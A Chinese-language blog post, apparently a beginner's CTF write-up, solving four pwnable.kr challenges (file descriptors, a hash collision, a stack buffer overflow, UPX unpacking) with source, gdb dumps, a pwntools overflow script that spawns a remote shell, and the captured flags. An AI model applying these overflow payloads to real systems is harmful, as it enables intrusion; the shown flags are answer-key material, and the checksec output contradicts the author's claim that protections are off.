一直觉得pwn是个很神奇和神秘的东西,但只是道听途说。最近看了几个教程,表哥也分享了很多学习文章和题目。关于使用的工具和环境配置不多废话,就记录几个简单的题目。因为这几个题目在做的时候都有参考其他人的题解,所以在记录的过程中自己重新做一遍,算是对pwn知识的初探。
Mommy! what is a file descriptor in Linux?
* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw
ssh fd@pwnable.kr -p2222 (pw:guest)
这是 pwnable.kr站点上最简单的第一个题目,题目提示关于linux文件描述符,并且还给了个题解的视频,可以说是对新手非常友好了。
那么首先连接这个端口,输入密码guest
nicefish@nicefish:~/pwn$ ssh fd@pwnable.kr -p2222
fd@pwnable.kr's password:
____ __ __ ____ ____ ____ _ ___ __ _ ____
| \| |__| || \ / || \ | | / _] | |/ ]| \
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | \ | /
| | | ` ' || | || _ || O || || [_ __ | \| \
| | \ / | | || | || || || || || . || . \
|__| \_/\_/ |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
- Site admin : daehee87.kr@gmail.com
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
Last login: Sun Apr 1 00:24:01 2018 from 59.64.129.236
查看文件目录,直接cat flag肯定提示没有权限,所以看一下源代码。
fd@ubuntu:~$ ls
fd fd.c flag
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
如果我们想要获得flag,就让buf缓冲区的值和“LETMEWIN”相同,buf缓冲区的内容是用read函数读入的。关键点就是read函数。
它的原型是
ssize_t read[1] (int fd, void *buf, size_t count);
//fd 是文件指针
//buf 保存读上来的数据,同时文件的当前读写位置向后移
//count是请求读取的字节数,若为0,read则没有作用,并返回0。否则返回值为实际度的字节数。
// read函数就是从文件或者设备中读取数据
这里的fd 是通过argv命令行参数减去0x1234得到的,那么buf缓冲区的内容去哪里才能读出“LETMEWIN”呢……并没有什么文件。
这时候想起来提示的linux文件描述符,通过查询我们得知:
文件描述符 | 缩写 | 描述 |
---|---|---|
0 | STDIN | 标准输入 |
1 | STDOUT | 标准输出 |
2 | STDERR | 标准错误输出 |
那这样就有思路了,也就是把fd指针想办法变成0,那么read就会从键盘输入中获取buf缓冲区的内容。
那么就让命令行参数等于0x1234即可,十进制也就是4660。
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
flag:mommy! I think I know what a file descriptor is!!
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)
同样的方式先连接服务器看看源代码
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
首先输入的命令行参数需要是20个字节,经过check_password函数处理后要和hashcode相等。而check _hashcode函数的作用是把char指针强制转换成int指针,而char类型是占1个字节,int是占4个。那么20个字节就被分成了五组。下面的for循环也正对应了这个推测,把五组数据加起来得到返回值。
分析后思路就很明了,把hashcode拆成五个部分的和,把这五个部分连起来输入即可。
>>> hex*(0x21DD09EC/5.0)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for *: 'builtin_function_or_method' and 'float'
尝试发现无法被5整除,那就随便减去一个数的4倍,就可以保证都是整数了。还要注意两点,一个是不能出现\x00因为这是终止符,还有一个就是小端序的问题。
>>> print hex(0x21DD09EC-0x01010101*4)
0x1dd905e8
这里学到一个写法是
python -c "..." //python以命令方式执行
构造出来的是这样。($是把后面的部分作为命令行参数)
col@ubuntu:~$ ./col $(python -c "print '\xe8\x05\xd9\x1d' + '\x01\x01\x01\x01'*4")
daddy! I just managed to create a hash collision :)
也可以按常规的写脚本,因为这里只需要传个参数,直接在命令行理解决即可。
col@ubuntu:~$ python
Python 2.7.12 (default, Jul 1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> s = '\xe8\x05\xd9\x1d\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
>>> e = process(['./col',s])
[x] Starting local process './col'
[+] Starting local process './col': Done
>>> e.recvline()
[*] Process './col' stopped with exit code 0
'daddy! I just managed to create a hash collision :)\n'
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
bof.c:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
这是一道缓冲区溢出的题目,因为gets输入的时候没有检查字符串长度,超过32字节的数据将覆盖内存中的其他数据。随后比较key和0xcafebabe,相等的话即可获得shell
这里补充一个知识点,关于==栈溢出攻击的几种方法==:
这里的system(“/bin/sh”)就是属于第二种方法。
在内存中确定某个函数的地址,并用其覆盖掉返回地址。由于 libc 动态链接库中的函数被广泛使用,所以有很大概率可以在内存中找到该动态库。同时由于该库包含了一些系统级的函数(例如 system() 等),所以通常使用这些系统级函数来获得当前进程的控制权。鉴于要执行的函数可能需要参数,比如调用 system() 函数打开 shell 的完整形式为 system(“/bin/sh”) ,所以溢出数据也要包括必要的参数。下面就以执行 system(“/bin/sh”) 为例,先写出溢出数据的组成,再确定对应的各部分填充进去。
payload: padding1 + address of system() + padding2 + address of “/bin/sh”
接下来通过gdb调试,来确定overflowme 和key在内存的位置。 先查看是否有保护机制,都没有开。
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
运行后在主函数入口停下,然后单步next向下,然后到call func位置s步入,同时也发现key的初始值存到了寄存器esp里
=> 0x56555693 <main+9>: mov DWORD PTR [esp],0xdeadbeef
=> 0x5655569a <main+16>: call 0x5655562c <func>
继续n向下,一直到gets函数
0x5655564f <func+35>: call 0xf7e65890 <gets>
此时查看栈里的情况
gdb-peda$ x/40xw $esp
0xffffcff0: 0xffffd00c 0xffffd094 0xf7fb7000 0x0000c287
0xffffd000: 0xffffffff 0x0000002f 0xf7e13dc8 0x5655573a
0xffffd010: 0x56556ff4 0xf7fb7000 0x00000001 0x5655549d
0xffffd020: 0x00000001 0x00000000 0x56556ff4 0xc686a100
0xffffd030: 0xf7fb7000 0xf7fb7000 0xffffd058 0x5655569f
0xffffd040: 0xdeadbeef 0x56555250 0x565556b9 0x00000000
0xffffd050: 0xf7fb7000 0xf7fb7000 0x00000000 0xf7e1f637
0xffffd060: 0x00000001 0xffffd0f4 0xffffd0fc 0x00000000
0xffffd070: 0x00000000 0x00000000 0xf7fb7000 0xf7ffdc04
0xffffd080: 0xf7ffd000 0x00000000 0xf7fb7000 0xf7fb7000
这时候esp存的就是overflow开始的位置,即0xffffd00c
而观察下面0xffffd040: 0xdeadbeef key的初始位置也发现了,是0xffffd040,把二者相减求出差值,也就是需要多少字节才能覆盖到key的地址。
0xffffd040-0xffffd00c = 52,那么也就是向overflow里面输入52个字节的字符,之后再加上4字节的0xcafebabe,就可以覆盖key。
写出解题脚本,学习到一个处理小端序时候方便的写法,用pwn库里的p32或者p64函数,直接对整数进行打包。
fro pwn import *
#r = process("./bof")
r = remote('pwnable.kr', 9000)
key = 0xcafebabe
#print p32(key)
payload = "A"*52 + "\xbe\xba\xfe\xca"+"A"
#payload = "A" * 52 + p32(key)
r.send(payload)
r.interactive()
成功获得shell
$
$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
$
Papa brought me a packed present! let's open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary
是个关于脱壳的题目。因为不是PE文件,常用的查壳工具没法查。放到IDA里,在HEX窗口里看到有UPX的字符,猜测是UPX壳。
其实还可以在linux下直接查看文件里的字符串。在最后也有UPX。
后来看了别人的WP才知道==检测upx打包的方法是查询UPX!或者UPX0的存在==,用strings一看,果然最后两行是UPX!
UPX!
UPX!
那么就下载upx脱壳工具,直接脱壳
nicefish@nicefish:~/pwn/upx-3.94-amd64_linux$ ./upx -d ./flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
File size Ratio Format Name
-------------------- ------ ----------- -----------
883745 <- 335288 37.94% linux/amd64 flag
Unpacked 1 file.
脱壳后直接用gdb调试,很快就能看到flag
在别人的wp里看到的简单方法,直接用string查看字符(grep 的-i参数 是不区分大小写),这也算个猜测的做法吧……
nicefish@nicefish:~/pwn/upx-3.94-amd64_linux$ strings ./flag | grep -i upx
UPX...? sounds like a delivery service :)
参考文章:
https://blog.csdn.net/SmalOSnail/article/details/53190961
https://zhuanlan.zhihu.com/p/25816426?utm_medium=social
因为题目比较简单,涉及的知识点也很少,所以相对做起来不是那么困难。暂时有另外几个题目还没有搞懂,水太深了……不过结合着题目学习知识点的模式还是比较适合自己,实在搞不懂还可以看看大佬的wp,体会一下“恍然大悟”的感觉……
今天听了TOKIO的歌,少主的声音真是太好听了,禁不住加个链接……